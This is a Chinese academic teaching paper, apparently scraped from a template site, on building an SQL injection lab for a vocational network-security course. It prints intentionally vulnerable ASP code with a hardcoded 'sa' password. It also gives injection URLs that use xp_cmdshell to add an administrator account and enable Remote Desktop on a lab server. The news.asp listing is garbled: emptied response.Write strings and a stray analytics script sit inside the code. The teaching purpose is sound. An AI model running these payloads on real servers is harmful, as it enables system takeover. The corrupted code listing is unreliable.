首页 > 范文大全 > 正文

高职院校SQL注入攻击实验环境搭建及使用研究

开篇:润墨网以专业的文秘视角,为您筛选了一篇高职院校SQL注入攻击实验环境搭建及使用研究范文,如需获取更多写作素材,在线客服老师一对一协助。欢迎您的阅读与分享!

摘要:SQL注入攻击是黑客攻击最常用的手段之一,其危害极大。在高职院校的网络安全课中,使学生掌握sql注入攻击和相应的防范措施是一个教学难点。如果能够搭建一个简单的具有SQL注入漏洞的实验环境,让学生在这个实验环境中进行模拟攻击,对于学生更好地掌握SQL注入攻击的原理和具体实施步骤具有很大的好处,进而能让学生更好地掌握相应的安全防范措施。总结SQL注入攻击实验环境搭建使用实践,旨在对高职院校的SQL注入攻击与防范实训教学起到一定的促进作用。

关键词:高职院校;SQL注入攻击;实验环境;网络安全

中图分类号:G712 文献标识码:A 文章编号:1672-5727(2013)12-0168-03

研究意义

SQL注入攻击是黑客攻击最常用的手段之一,其危害极大。一些不具备很多网络安全技术的“脚本小子”,使用一些傻瓜式SQL注入攻击工具,就可能攻陷网站,进而控制服务器。

高职院校的《网络安全与防范》课程,具有培养学生掌握较高网络安全防范技能的任务。因此,必须使学生掌握好SQL注入攻击的防范措施。而为了真正掌握SQL注入攻击的防范措施,又必须透彻理解SQL注入攻击的原理和具体实施步骤。经验表明,这是一个教学难点,因为它需要精心构造SQL语句,来完成信息的查询、语句的执行等。

我们开展了一项教学改革,旨在提高《网络安全与防范》课程的教学效果。该教学改革中的一项内容,就是研究如何更好地开展SQL注入攻击的教学。我们认为,如果能够搭建一个简单的具有SQL注入漏洞的动态网站,让学生对这个网站进行模拟攻击,对于学生更好地掌握SQL注入攻击的原理和具体实施步骤具有很大好处,也能让他们更好地掌握相应的安全防范措施。

SQL注入攻击实验环境的搭建

我们使用VMware WorkStation虚拟机软件安装了两台虚拟机,一台虚拟机安装的是Windows Server 2003操作系统,用于模拟被攻击的服务器,IP地址为192.168.248.132;另一台虚拟机安装的是Windows XP操作系统,用于模拟黑客使用的攻击机,IP地址为192.168.248.133。在Windows Server 2003虚拟机上,搭建了一个使用ASP+SQL Server 2000开发的简单的动态网站。我们设计该动态网站的思路是:该网站具有SQL注入漏洞,能满足SQL注入攻击的实验要求;该网站应该尽量简单,以便于学生理解、分析和掌握。

按照以上设计思路,我们开发了一个简单的名为testweb的动态网站。该动态网站需要访问一个名为testweb的数据库,该数据库包含一个表:tblNews。tblNews用来保存新闻的标题和内容,初始时在这个表中输入了一些测试用的数据。它的具体结构如表1所示。

该网站包括以下三个页面:conn.asp、news.asp、displayNews.asp。其中conn.asp用于保存与SQL Server 2000数据库服务器的连接信息;news.asp用于读取数据库中的新闻记录,显示所有新闻的标题,并且将这些标题以超链接的形式显示。当单击某个新闻的标题后,即可以进入形如displayNews.asp?id=xxx的页面,看到新闻的具体内容(其中“xxx”表示某条新闻在tblNews表中ID字段的值)。设置该网站的默认页面为news.asp。

conn.asp的代码如下所示:

Const SqlDatabaseName = "testweb"

Const SqlPassword = "michaeljordan"

Const SqlUsername = "sa"

Const SqlLocalName = "(local)"

dim ConnStr

ConnStr = "Provider = Sqloledb;User ID = " & SqlUsername & ";Password = " & SqlPassword & ";Initial Catalog = " & SqlDatabaseName & ";Data Source = " & SqlLocalName & ";"

news.asp的代码如下所示:

Dim conn

Set conn = Server.CreateObject("ADODB.Connection")

conn.open ConnStr

dim strSql

strSql="select * from tblNews"

dim rs

set rs=conn.Execute(strSql)

dim newsID

response.Write("")

response.Write("")

response.Write("")

while not rs.EOF

response.Write("")

response.Write("")

newsID=rs("ID")

response.Write(" " & rs("title")& " ")

response.Write("")

response.Write("")

rs.MoveNext

wend

response.Write("")

response.Write("var _gaq = _gaq || [];_gaq.push(['_setAccount', 'UA-22575914-1']);_gaq.push(['_setDomainName', '']);_gaq.push(['_trackPageview']);(function () {var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'www') + '/ga.js';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);})();var _userid = '';var _siteid =75;var _istoken = 1;var _model = 'Model03'; WebPageSpeed =2828; UrchinTrack();")

response.Write("")

rs.close()

conn.close

set rs=nothing

set conn=nothing

%>

displayNews.asp的代码如下所示:

Dim conn

Set conn = Server.CreateObject("ADODB.Connection")

conn.open ConnStr

dim newsID

newsID=request("id")

dim strSql

strSql="select * from tblNews where ID=" & newsID

dim rs

set rs=conn.Execute(strSql)

response.Write(rs("content"))

rs.close()

conn.close

set rs=nothing

set conn=nothing

%

从以上三个页面的具体代码可以看出,我们所设计的动态网站具有简单,易于理解、分析和掌握的优点。

同时页面displayNews.asp有SQL注入漏洞,可以满足SQL注入攻击的实训需要,其具有SQL注入漏洞的具体语句为:strSql="select * from tblNews where ID=" & newsID,该语句根据某条新闻的ID查询tblNews表的内容。我们可以在形如displayNews.asp?id=xxx的地址后面加入精心构造的语句,从而执行特定的SQL语句,控制服务器。

SQL注入攻击实验环境的使用

如上所述,我们开发的动态网站testweb具有SQL注入漏洞,下面我们通过具体的入侵步骤来展示该SQL注入攻击实验环境的使用。(以下攻击步骤参考了相关网络安全书籍的内容。)

(一)判断网站是否有SQL注入漏洞

可以通过在displayNews.asp?id=1后加上“’”、“ and 1=1”和“ and 1=2”等方法来判断网站是否有SQL注入漏洞。如在地址栏输入:http://192.168.248.132/testweb/displayNews.asp?id=1’ (1)

页面返回如下错误信息:

Microsoft OLE DB Provider for SQL Server 错误 '80040e14'

字符串 '' 之前有未闭合的引号。

/testweb/displayNews.asp,行 13

从以上提示信息可以看出,数据库服务器为SQL Server。(1)的原理是:正常的SQL语句为select * from tblNews where ID=1,而(1)导致SQL语句成为:select * from tblNews where ID=1’,这样会使得单引号没有闭合而出错。

在地址栏输入:http://192.168.

248.132/testweb/displayNews.asp?id=1 and 1=1 (2)

返回正常页面。而在地址栏输入:http://192.168.248.132/testweb/displayNews.asp?id=1 and 1=2

(3)

返回的错误信息是:

ADODB.Field 错误 '80020009'

BOF 或 EOF 中有一个是“真”,或者当前的记录已被删除,所需的操作要求一个当前的记录。

/testweb/displayNews.asp,行 0

(2)导致SQL语句成为:select * from tblNews where ID=1 and 1=1,因为1=1为永真式,所以不影响原来的查询结果,返回正常页面。而(3)导致SQL语句成为:select * from tblNews where ID=1 and 1=2,因为1=2为永假式,所以查询结果为空,而程序中没有对此进行处理,所以导致出现错误提示信息。

通过以上测试,可以明确地知道网站存在SQL注入漏洞,而且数据库服务器为SQL Server。

(二)查找是否有xp_cmdshell扩展存储过程

在地址栏输入:http://192.168.

248.132/testweb/displayNews.asp?id=

1 and exists(select * from master.dbo.sysobjects where name=’xp_

cmdshell’)

页面返回正常,从而知道master.dbo.sysobjects表中存在扩展过程xp_cmdshell。通过执行xp_cmdshell存储过程可以实现添加用户、将用户添加到管理员组、开启远程终端连接等许多操作。

(三)通过xp_cmdshell添加系统管理员账户

在地址栏输入:http://192.168.

248.132/testweb/displayNews.asp?id=

1;exec master..xp_cmdshell ‘net user test test/add’ (4)

页面返回正常。执行该语句后,可以添加一个名为test,密码也为test的账户。(4)的原理是:通过xp_cmdshell扩展存储过程,执行net user命令,实现添加账户的操作。

在地址栏输入:http://192.168.

248.132/testweb/displayNews.asp?id=1;exec master..xp_cmdshell ‘net localgroup administrators test /add’

页面返回正常。执行该语句后,可以将账户test添加到系统管理员组。

(四)开启目标计算机的远程终端连接

在地址栏输入:http://192.168.

248.132/testweb/displayNews.asp?id=

1;exec master..xp_cmdshell ‘reg add “HKLM\System\CurrentControl-

Set\Control\Terminal Server”/v fDeny

TSConnections/t REG_DWORD /d 0/f’ (5)

页面返回正常。执行完后,可以开启目标计算机的远程终端连接。(5)的原理是:通过xp_cmdshell扩展存储过程,执行reg add语句,完成修改注册表,开启远程终端连接的操作。执行完以上步骤之后,即可以使用新建的test账号远程登录目标计算机192.168.248.132。

讨论

为了使学生掌握SQL注入攻击的原理、具体实施步骤和相应的防范措施,必须搭建实验环境让他们演练SQL注入攻击的实施步骤。为此,我们搭建了一个ASP+SQL Server 2000环境下的SQL Server注入攻击实验环境。我们没有使用Dvbbs等现成的动态网站,因为这些动态网站功能较齐全,但代码很复杂,不利于初学者理解、分析和掌握。我们设计的动态网站具有简单,易于学生理解、分析和掌握的优点。我们演示了在该实验环境中进行SQL注入攻击,判断是否存在SQL注入漏洞,判断数据库服务器是否支持xp_cmdshell扩展过程,使用xp_cmdshell添加系统管理员账号、开启远程终端连接、使用攻击机远程登录目标计算机等操作。这表明使用我们搭建的简单的SQL注入攻击实验环境,可以方便地进行SQL注入攻击演练。这对提高学生的学习兴趣,掌握SQL注入攻击的原理和具体的实施步骤,提高网络安全防护意识等都具有很大的好处。

同时,利用该实验环境,或者对该实验环境稍微进行扩展,我们还可以进行更多的SQL注入攻击演练,如猜解数据库、表、字段的数目、字段的名称、字段的内容等等。

我们的教学经验表明,通过使用这个简单的实验环境,教学效果能得到明显的提升。

参考文献:

[1]肖遥.大中型网络入侵要案直击与防御[M].北京:电子工业出版社,2011.

[2]朱锡华,刘月铧,侯伟.暗战亮剑——黑客渗透与防御全程实录[M].北京:人民邮电出版社,2010.

[3]武新华,陈艳艳,王英英.矛与盾:黑客攻防与脚本编程[M].北京:机械工业出版社,2010.

作者简介:

曾煌存,硕士,广东外语艺术职业学院讲师,研究方向为网络安全技术。